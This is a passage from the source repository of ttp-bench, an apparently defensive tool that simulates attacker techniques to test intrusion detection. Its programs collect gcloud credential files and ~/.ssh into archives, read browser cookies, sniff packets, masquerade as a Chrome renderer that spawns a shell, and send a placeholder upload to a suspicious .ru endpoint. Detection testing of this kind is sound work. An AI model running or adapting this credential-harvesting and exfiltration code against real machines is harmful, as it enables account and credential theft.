├── .gitignore
├── .golangci.yml
├── LICENSE
├── Makefile
├── README.md
├── cmd
├── access-chrome-breakout-root
│ └── main.go
├── cnc-dns-over-https
│ └── main.go
├── cnc-resolve-random
│ └── main.go
├── creds-browser-cookies
│ └── main.go
├── creds-gcp-exfil
│ └── main.go
├── creds-keylogger-root
│ └── main.go
├── creds-packet-sniffer-root
│ └── main.go
├── creds-ssh-exfil
│ └── main.go
├── evade-deleted-service
│ └── main.go
├── evade-masquerade-kernel-thread-root
│ └── main.go
├── evade-masquerade-user
│ └── main.go
├── evade-shell-history
│ └── main.go
├── evade-tools-in-var-tmp-hidden
│ └── main.go
├── evade-usr-bin-exec-root
│ └── main.go
├── exec-bash-reverse-shell
│ └── main.go
├── exec-curl-to-hidden-url
│ └── main.go
├── exec-drop-eicar
│ └── main.go
├── exec-linpeas
│ └── main.go
├── exec-netcat-listen
│ └── main.go
├── exec-python-reverse-shell
│ └── main.go
├── exec-traitor-vuln-probe
│ └── main.go
├── exec-upx-listener-root
│ └── main.go
├── hidden-listener
│ └── main.go
├── persist-iptables-root
│ └── main.go
├── persist-launchd-com-apple-root
│ └── main.go
├── persist-user-crontab-reboot
│ └── main.go
├── privesc-traitor-dirty-pipe
│ └── main.go
├── privesc-traitor-docker-socket
│ └── main.go
└── pypi-supply-chain
│ ├── main.go
│ └── valyrian_debug.zip
├── go.mod
├── go.sum
├── images
├── ioc-choices.png
├── ioc-running.png
├── logo.png
└── logo.xcf
├── main.go
├── pkg
├── iexec
│ └── iexec.go
└── simulate
│ ├── breakout.go
│ ├── doh.go
│ ├── keylogger.go
│ ├── resolve.go
│ ├── reverse_shell.go
│ ├── shell_history.go
│ └── traitor.go
└── views.go
/.gitignore:
--------------------------------------------------------------------------------
1 | # Binaries for programs and plugins
2 | *.exe
3 | *.exe~
4 | *.dll
5 | *.so
6 | *.dylib
7 |
8 | # Test binary, built with `go test -c`
9 | *.test
10 |
11 | # Output of the go coverage tool, specifically when used with LiteIDE
12 | *.out
13 |
14 | # Dependency directories (remove the comment below to include it)
15 | # vendor/
16 |
17 | # added by lint-install
18 | out/
19 |
20 | # custom
21 | ttp-bench
22 | .DS_Store
23 |
--------------------------------------------------------------------------------
/.golangci.yml:
--------------------------------------------------------------------------------
1 | run:
2 | # The default runtime timeout is 1m, which doesn't work well on Github Actions.
3 | timeout: 4m
4 |
5 | # NOTE: This file is populated by the lint-install tool. Local adjustments may be overwritten.
6 | linters-settings:
7 | cyclop:
8 | # NOTE: This is a very high transitional threshold
9 | max-complexity: 37
10 | package-average: 34.0
11 | skip-tests: true
12 |
13 | gocognit:
14 | # NOTE: This is a very high transitional threshold
15 | min-complexity: 98
16 |
17 | dupl:
18 | threshold: 200
19 |
20 | goconst:
21 | min-len: 4
22 | min-occurrences: 5
23 | ignore-tests: true
24 |
25 | gosec:
26 | excludes:
27 | - G107 # Potential HTTP request made with variable url
28 | - G204 # Subprocess launched with function call as argument or cmd arguments
29 | - G404 # Use of weak random number generator (math/rand instead of crypto/rand
30 |
31 | errorlint:
32 | # these are still common in Go: for instance, exit errors.
33 | asserts: false
34 |
35 | exhaustive:
36 | default-signifies-exhaustive: true
37 |
38 | nestif:
39 | min-complexity: 8
40 |
41 | nolintlint:
42 | require-explanation: true
43 | allow-unused: false
44 | require-specific: true
45 |
46 | revive:
47 | ignore-generated-header: true
48 | severity: warning
49 | rules:
50 | - name: atomic
51 | - name: blank-imports
52 | - name: bool-literal-in-expr
53 | - name: confusing-naming
54 | - name: constant-logical-expr
55 | - name: context-as-argument
56 | - name: context-keys-type
57 | - name: deep-exit
58 | - name: defer
59 | - name: range-val-in-closure
60 | - name: range-val-address
61 | - name: dot-imports
62 | - name: error-naming
63 | - name: error-return
64 | - name: error-strings
65 | - name: errorf
66 | - name: exported
67 | - name: identical-branches
68 | - name: if-return
69 | - name: import-shadowing
70 | - name: increment-decrement
71 | - name: indent-error-flow
72 | - name: indent-error-flow
73 | - name: package-comments
74 | - name: range
75 | - name: receiver-naming
76 | - name: redefines-builtin-id
77 | - name: superfluous-else
78 | - name: struct-tag
79 | - name: time-naming
80 | - name: unexported-naming
81 | - name: unexported-return
82 | - name: unnecessary-stmt
83 | - name: unreachable-code
84 | - name: unused-parameter
85 | - name: var-declaration
86 | - name: var-naming
87 | - name: unconditional-recursion
88 | - name: waitgroup-by-value
89 |
90 | staticcheck:
91 | go: "1.16"
92 |
93 | unused:
94 | go: "1.16"
95 |
96 | output:
97 | sort-results: true
98 |
99 | linters:
100 | disable-all: true
101 | enable:
102 | - asciicheck
103 | - bodyclose
104 | - cyclop
105 | - deadcode
106 | - dogsled
107 | - dupl
108 | - durationcheck
109 | - errcheck
110 | - errname
111 | - errorlint
112 | - exhaustive
113 | - exportloopref
114 | - forcetypeassert
115 | - gocognit
116 | - goconst
117 | - gocritic
118 | - godot
119 | - gofmt
120 | - gofumpt
121 | - gosec
122 | - goheader
123 | - goimports
124 | - goprintffuncname
125 | - gosimple
126 | - govet
127 | - ifshort
128 | - importas
129 | - ineffassign
130 | - makezero
131 | - misspell
132 | - nakedret
133 | - nestif
134 | - nilerr
135 | - noctx
136 | - nolintlint
137 | - predeclared
138 | # disabling for the initial iteration of the linting tool
139 | # - promlinter
140 | - revive
141 | - rowserrcheck
142 | - sqlclosecheck
143 | - staticcheck
144 | - structcheck
145 | - stylecheck
146 | - thelper
147 | - tparallel
148 | - typecheck
149 | - unconvert
150 | - unparam
151 | - unused
152 | - varcheck
153 | - wastedassign
154 | - whitespace
155 |
156 | # Disabled linters, due to being misaligned with Go practices
157 | # - exhaustivestruct
158 | # - gochecknoglobals
159 | # - gochecknoinits
160 | # - goconst
161 | # - godox
162 | # - goerr113
163 | # - gomnd
164 | # - lll
165 | # - nlreturn
166 | # - testpackage
167 | # - wsl
168 | # Disabled linters, due to not being relevant to our code base:
169 | # - maligned
170 | # - prealloc "For most programs usage of prealloc will be a premature optimization."
171 | # Disabled linters due to bad error messages or bugs
172 | # - tagliatelle
173 |
174 | issues:
175 | # Excluding configuration per-path, per-linter, per-text and per-source
176 | exclude-rules:
177 | - path: _test\.go
178 | linters:
179 | - dupl
180 | - errcheck
181 | - forcetypeassert
182 | - gocyclo
183 | - gosec
184 | - noctx
185 |
186 | - path: .*cmd.*
187 | linters:
188 | - noctx
189 |
190 | - path: main\.go
191 | linters:
192 | - noctx
193 |
194 | - path: .*cmd.*
195 | text: "deep-exit"
196 |
197 | - path: main\.go
198 | text: "deep-exit"
199 |
200 | # This check is of questionable value
201 | - linters:
202 | - tparallel
203 | text: "call t.Parallel on the top level as well as its subtests"
204 |
205 | # Don't hide lint issues just because there are many of them
206 | max-same-issues: 0
207 | max-issues-per-linter: 0
208 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | # BEGIN: lint-install .
2 | # http://github.com/tinkerbell/lint-install
3 |
4 | .PHONY: lint
5 | lint: _lint
6 |
7 | LINT_ARCH := $(shell uname -m)
8 | LINT_OS := $(shell uname)
9 | LINT_OS_LOWER := $(shell echo $(LINT_OS) | tr '[:upper:]' '[:lower:]')
10 | LINT_ROOT := $(shell dirname $(realpath $(firstword $(MAKEFILE_LIST))))
11 |
12 | # shellcheck and hadolint lack arm64 native binaries: rely on x86-64 emulation
13 | ifeq ($(LINT_OS),Darwin)
14 | ifeq ($(LINT_ARCH),arm64)
15 | LINT_ARCH=x86_64
16 | endif
17 | endif
18 |
19 | LINTERS :=
20 | FIXERS :=
21 |
22 | GOLANGCI_LINT_CONFIG := $(LINT_ROOT)/.golangci.yml
23 | GOLANGCI_LINT_VERSION ?= v1.43.0
24 | GOLANGCI_LINT_BIN := out/linters/golangci-lint-$(GOLANGCI_LINT_VERSION)-$(LINT_ARCH)
25 | $(GOLANGCI_LINT_BIN):
26 | mkdir -p out/linters
27 | rm -rf out/linters/golangci-lint-*
28 | curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b out/linters $(GOLANGCI_LINT_VERSION)
29 | mv out/linters/golangci-lint $@
30 |
31 | LINTERS += golangci-lint-lint
32 | golangci-lint-lint: $(GOLANGCI_LINT_BIN)
33 | $(GOLANGCI_LINT_BIN) run
34 |
35 | FIXERS += golangci-lint-fix
36 | golangci-lint-fix: $(GOLANGCI_LINT_BIN)
37 | $(GOLANGCI_LINT_BIN) run --fix
38 |
39 | .PHONY: _lint $(LINTERS)
40 | _lint: $(LINTERS)
41 |
42 | .PHONY: fix $(FIXERS)
43 | fix: $(FIXERS)
44 |
45 | # END: lint-install .
46 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ttp-bench
2 |
3 | 
4 |
5 | ttp-bench simulates 30 popular tactics from both the [MITRE ATT&CK framework](https://attack.mitre.org/) and published defense research. All of the simulations behave at least vaguely suspicious, such as stealing GCP credentials, sniffing your keyboard, accessing unusual DNS servers, or pretending to be a kernel process. Most simulations have multiple suspicious characteristics that lend themselves toward alerting, such as being unsigned binaries that just magically appeared on disk. How many of these simulations will your intrusion detection system detect?
6 |
7 | A similar open-source project is [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team): which did not support Linux or macOS when ttp-bench was created. It's a bit complicated to setup and there isn't much overlap between the techniques used, so both projects remain useful in 2024.
8 |
9 | ## Screenshots
10 |
11 | 
12 | 
13 |
14 | ## Requirements
15 |
16 | * The Go Programming language
17 |
18 | Most of the checks available today mimic IoC found on UNIX-like operating systems. This is however not an intentional design goal. ttp-bench is actively tested on Linux and macOS
19 |
20 | ## Usage
21 |
22 | To jump in, run the following to access the interactive menu of checks to execute:
23 |
24 | ```shell
25 | go run .
26 | ```
27 |
28 | ttp-bench supports some flags for automation:
29 |
30 | ```shell
31 | -all: execute all possible checks
32 | -checks: comma-separated list of checks to execute
33 | -list: list possible checks
34 | ```
35 |
36 | For the few checks that require root, you will be prompted for a password.
37 |
38 | ## Available checks
39 |
40 | * cnc-dns-over-https: Simulates C&C discovery via DNS over HTTPS (ala Godlua)
41 | * cnc-resolve-random: Simulates C&C discovery via randomized hostname lookups (ala Aquatic Panda)
42 | * creds-browser-cookies: Simulates theft of web session cookies [T1539]
43 | * creds-gcp-exfil: Simulates theft of GCP credentials [1552.001, T15060.002]
44 | * creds-keylogger-root: Simulate theft of credentials via key logging [T1056]
45 | * creds-packet-sniffer-root: Simulates theft of credentials via network sniffing [T1040]
46 | * creds-ssh-exfil: Simulates theft of GCP credentials [1552.001, T15060.002]
47 | * evade-deleted-service: Simulates a service running by a binary which no longer exists
48 | * evade-masquerade-kernel-thread-root: Simulates process masquerading as a kernel thread [T1036.004]
49 | * evade-masquerade-user: Simulates process masquerading as another user process [T1036.004]
50 | * evade-shell-history: Simulates attack cleanup via bash_history truncation [T1070.003]
51 | * evade-tools-in-var-tmp-hidden: Simulates tool transfer using curl & running from /var/tmp/. [T1036.005]
52 | * evade-usr-bin-exec-root: Simulates malicious program installing itself into /usr/bin [T1036.005]
53 | * exec-bash-reverse-shell: Launches a temporary reverse shell using bash
54 | * exec-curl-to-hidden-url: Simulate
55 | * exec-curl-to-hidden-url: Simulates tool transfer using curl to a hidden directory [T1036.005]
56 | * exec-drop-eicar: Simulates droppping a known virus signature (EICAR) onto filesystem
57 | * exec-linpeas: Downloads and launches LinPEAS
58 | * exec-netcat-listen: Launches netcat to listen on a port [T1059.004]
59 | * exec-python-reverse-shell: Launches a temporary reverse shell using Python
60 | * exec-traitor-vuln-probe: Simulates probing system for privilege escalation vulns
61 | * exec-upx-listener-root: New unsigned obfuscated binary listening from a hidden directory as root
62 | * hidden-listener: New unsigned binary listening from a hidden directory
63 | * persist-iptables-root: Simulates attacker making iptables changes to allow incoming traffic
64 | * persist-launchd-com-apple-root: Simulates persistance via a fake unsigned Apple launchd service
65 | * persist-user-crontab-reboot: Simulates a command inserting itself into the user crontab for persistence
66 | * privesc-traitor-dirty-pipe: Simulate CVE-2022-0847 (Dirty pipe) to escalate user privileges to root
67 | * privesc-traitor-docker-socket: Simulates using Docker sockets to escalate user privileges to root
68 | * pypi-supply-chain: Simulates a PyPI supply chain attack using a modified real-world sample
69 |
--------------------------------------------------------------------------------
/cmd/access-chrome-breakout-root/main.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | // Simulates an overflow where Google Chrome spawns a shell [T1189]
4 | //
5 | // Currently broken/disabled on macOS due to file permission changes
6 | package main
7 |
8 | import (
9 | "log"
10 | "os"
11 | "path/filepath"
12 |
13 | "github.com/tstromberg/ttp-bench/pkg/simulate"
14 | )
15 |
16 | func main() {
17 | globs := []string{
18 | "/opt/google/chrome*/chrome",
19 | "/Applications/Google Chrome*.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/*/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)",
20 | }
21 |
22 | args := "--type=renderer --ioc --display-capture-permissions-policy-allowed --change-stack-guard-on-fork=enable --lang=en-US --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --launch-time-ticks=103508166127 --shared-files=v8_context_snapshot_data:100"
23 |
24 | dest := ""
25 | for _, g := range globs {
26 | paths, err := filepath.Glob(g)
27 | if err != nil {
28 | log.Printf("glob error: %v", err)
29 | continue
30 | }
31 |
32 | for _, p := range paths {
33 | log.Printf("found %s", p)
34 | dest = p
35 | break
36 | }
37 | }
38 |
39 | if dest == "" {
40 | log.Fatalf("unable to find a chrome browser to emulate")
41 | }
42 |
43 | // I am chrome!
44 | if filepath.Base(os.Args[0]) == filepath.Base(dest) {
45 | if err := simulate.SpawnShellID(); err != nil {
46 | log.Fatalf("spawn: %v", err)
47 | }
48 | os.Exit(0)
49 | }
50 | if err := simulate.ReplaceAndLaunch(os.Args[0], dest, args); err != nil {
51 | log.Fatalf("replace and launch: %v", err)
52 | }
53 | }
54 |
--------------------------------------------------------------------------------
/cmd/cnc-dns-over-https/main.go:
--------------------------------------------------------------------------------
1 | // Simulates C&C discovery via DNS over HTTPS (ala Godlua)
2 | package main
3 |
4 | import (
5 | "log"
6 |
7 | "github.com/tstromberg/ttp-bench/pkg/simulate"
8 | )
9 |
10 | func main() {
11 | if err := simulate.DNSOverHTTPS(); err != nil {
12 | log.Fatalf("dns over https: %v", err)
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/cmd/cnc-resolve-random/main.go:
--------------------------------------------------------------------------------
1 | // Simulates C&C discovery via randomized hostname lookups (ala Aquatic Panda)
2 | package main
3 |
4 | import (
5 | "log"
6 |
7 | "github.com/tstromberg/ttp-bench/pkg/simulate"
8 | )
9 |
10 | func main() {
11 | if err := simulate.ResolveRandom(); err != nil {
12 | log.Fatalf("resolve random: %v", err)
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/cmd/creds-browser-cookies/main.go:
--------------------------------------------------------------------------------
1 | // Simulates theft of web session cookies [T1539]
2 | package main
3 |
4 | import (
5 | "log"
6 |
7 | "github.com/zellyn/kooky"
8 | _ "github.com/zellyn/kooky/allbrowsers"
9 | )
10 |
11 | func main() {
12 | for _, st := range kooky.FindAllCookieStores() {
13 | log.Printf("found cookie store: %s -> %s", st.Browser(), st.FilePath())
14 | }
15 |
16 | for _, c := range kooky.ReadCookies(kooky.DomainHasSuffix(`google.com`), kooky.Name(`NID`)) {
17 | log.Printf("found google.com NID cookie expiring at %s", c.Expires)
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/cmd/creds-gcp-exfil/main.go:
--------------------------------------------------------------------------------
1 | // Simulates theft of GCP credentials [1552.001, T15060.002]
2 | package main
3 |
4 | import (
5 | "archive/zip"
6 | "io"
7 | "log"
8 | "net/http"
9 | "os"
10 | "path/filepath"
11 | "strings"
12 | )
13 |
14 | func main() {
15 | home, err := os.UserHomeDir()
16 | if err != nil {
17 | log.Printf("home dir: %v", err)
18 | os.Exit(1)
19 | }
20 |
21 | tf, err := os.CreateTemp("/tmp", "ttp.*.zip")
22 | if err != nil {
23 | log.Fatal(err)
24 | }
25 | defer os.Remove(tf.Name())
26 |
27 | z := zip.NewWriter(tf)
28 |
29 | dir := filepath.Join(home, ".config/gcloud")
30 | files := []string{
31 | "application_default_credentials.json",
32 | "access_tokens.db",
33 | "credentials.db",
34 | }
35 |
36 | for _, f := range files {
37 | path := filepath.Join(dir, f)
38 | if _, err := os.Stat(path); err != nil {
39 | continue
40 | }
41 |
42 | r, err := os.Open(path)
43 | if err != nil {
44 | log.Printf("failed to read %s: %v", path, err)
45 | continue
46 | }
47 | defer r.Close()
48 |
49 | w, err := z.Create(f)
50 | if err != nil {
51 | log.Printf("z.Create failed: %v", err)
52 | continue
53 | }
54 | if _, err := io.Copy(w, r); err != nil {
55 | log.Printf("failed to copy buffer: %v", err)
56 | continue
57 | }
58 | log.Printf("%s archived", path)
59 | }
60 | z.Close()
61 |
62 | // make outgoing connection
63 | endpoint := "http://ueosntoae23958239.vkontake.ru/upload"
64 | log.Printf("uploading fake content to %s", endpoint)
65 | http.Post(endpoint, "image/jpeg", strings.NewReader("fake content"))
66 | }
67 |
--------------------------------------------------------------------------------
/cmd/creds-keylogger-root/main.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | // Simulate theft of credentials via key logging [T1056]
4 | package main
5 |
6 | import (
7 | "log"
8 |
9 | "github.com/tstromberg/ttp-bench/pkg/simulate"
10 | )
11 |
12 | func main() {
13 | if err := simulate.Keylogger(); err != nil {
14 | log.Fatalf("unexpected error: %v", err)
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/cmd/creds-packet-sniffer-root/main.go:
--------------------------------------------------------------------------------
1 | // Simulates theft of credentials via network sniffing [T1040]
2 | package main
3 |
4 | import (
5 | "fmt"
6 | "log"
7 | "strings"
8 |
9 | "github.com/google/gopacket"
10 | "github.com/google/gopacket/pcap"
11 | )
12 |
13 | func main() {
14 | if err := PacketSniffer(); err != nil {
15 | log.Fatalf("unexpected error: %v", err)
16 | }
17 | }
18 |
19 | func chooseNetworkDevice() (string, error) {
20 | devices, err := pcap.FindAllDevs()
21 | if err != nil {
22 | return "", fmt.Errorf("find device: %w", err)
23 | }
24 |
25 | foundAddrs := 0
26 | foundName := ""
27 |
28 | for _, d := range devices {
29 | if strings.HasPrefix(d.Name, "en") || strings.HasPrefix(d.Name, "br") || strings.HasPrefix(d.Name, "eth") || strings.HasPrefix(d.Name, "wl") {
30 | if len(d.Addresses) > foundAddrs {
31 | foundName = d.Name
32 | foundAddrs = len(d.Addresses)
33 | }
34 | }
35 | }
36 | if foundAddrs > 0 {
37 | return foundName, nil
38 | }
39 |
40 | return "", fmt.Errorf("could not pick a device among: %v", devices)
41 | }
42 |
43 | func PacketSniffer() error {
44 | log.Printf("looking for network devices ...")
45 | iface, err := chooseNetworkDevice()
46 | if err != nil {
47 | return err
48 | }
49 |
50 | log.Printf("chose %s", iface)
51 | log.Printf("opening pcap ...")
52 |
53 | handler, err := pcap.OpenLive(iface, 1600, false, pcap.BlockForever)
54 | if err != nil {
55 | return fmt.Errorf("openlive: %w", err)
56 | }
57 | defer handler.Close()
58 |
59 | log.Printf("setting filter ...")
60 | if err := handler.SetBPFFilter("ip"); err != nil {
61 | log.Fatal(err)
62 | }
63 |
64 | source := gopacket.NewPacketSource(handler, handler.LinkType())
65 | log.Printf("iterating over packets ...")
66 | packets := 0
67 | for p := range source.Packets() {
68 | log.Printf("got packet: %+v", p)
69 | packets++
70 | if packets >= 2 {
71 | break
72 | }
73 | }
74 | return nil
75 | }
76 |
--------------------------------------------------------------------------------
/cmd/creds-ssh-exfil/main.go:
--------------------------------------------------------------------------------
1 | // Simulates theft of GCP credentials [1552.001, T15060.002]
2 | package main
3 |
4 | import (
5 | "fmt"
6 | "io/ioutil"
7 | "log"
8 | "os"
9 | "os/exec"
10 | "path/filepath"
11 | "time"
12 | )
13 |
14 | func SSHCredentialsTheft() error {
15 | home, err := os.UserHomeDir()
16 | if err != nil {
17 | return fmt.Errorf("home dir: %w", err)
18 | }
19 |
20 | path := filepath.Join(home, ".ssh")
21 |
22 | if _, err := os.Stat(path); err != nil {
23 | return fmt.Errorf("stat failed: %w", err)
24 | }
25 |
26 | tf, err := ioutil.TempFile("/tmp", "ssh_ioc.*.tar")
27 | if err != nil {
28 | log.Fatal(err)
29 | }
30 | defer os.Remove(tf.Name())
31 |
32 | log.Printf("archiving %s to %s ...", path, tf.Name())
33 | cmd := exec.Command("tar", "-cvf", tf.Name(), path)
34 | cmd.Stdout = os.Stdout
35 | cmd.Stderr = os.Stderr
36 | if err := cmd.Run(); err != nil {
37 | return fmt.Errorf("tar failed: %w", err)
38 | }
39 |
40 | time.Sleep(5 * time.Second)
41 |
42 | log.Printf("cleaning up ...")
43 | return nil
44 | }
45 |
46 | func main() {
47 | if err := SSHCredentialsTheft(); err != nil {
48 | log.Fatalf("unexpected error: %v", err)
49 |
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/cmd/evade-deleted-service/main.go:
--------------------------------------------------------------------------------
1 | //go:build !windows
2 |
3 | // Simulates a service running by a binary which no longer exists
4 | package main
5 |
6 | import (
7 | "log"
8 | "net/http"
9 | "os"
10 | "time"
11 | )
12 |
13 | func main() {
14 | a := os.Args
15 | log.Printf("delete yourself (you have no chance to win): %v", a)
16 | if err := os.Remove(a[0]); err != nil {
17 | log.Fatalf("unexpected error: %v", err)
18 | }
19 |
20 | url := "https://suspicious-ioc.blogspot.com/"
21 | log.Printf("making connection to %s", url)
22 | _, err := http.Get(url)
23 | if err != nil {
24 | log.Printf("%s returned error: %v (don't care)", url, err)
25 | }
26 |
27 | timeout := 70 * time.Second
28 | log.Printf("waiting around for %s ...", timeout)
29 | time.Sleep(timeout)
30 | }
31 |
--------------------------------------------------------------------------------
/cmd/evade-masquerade-kernel-thread-root/main.go:
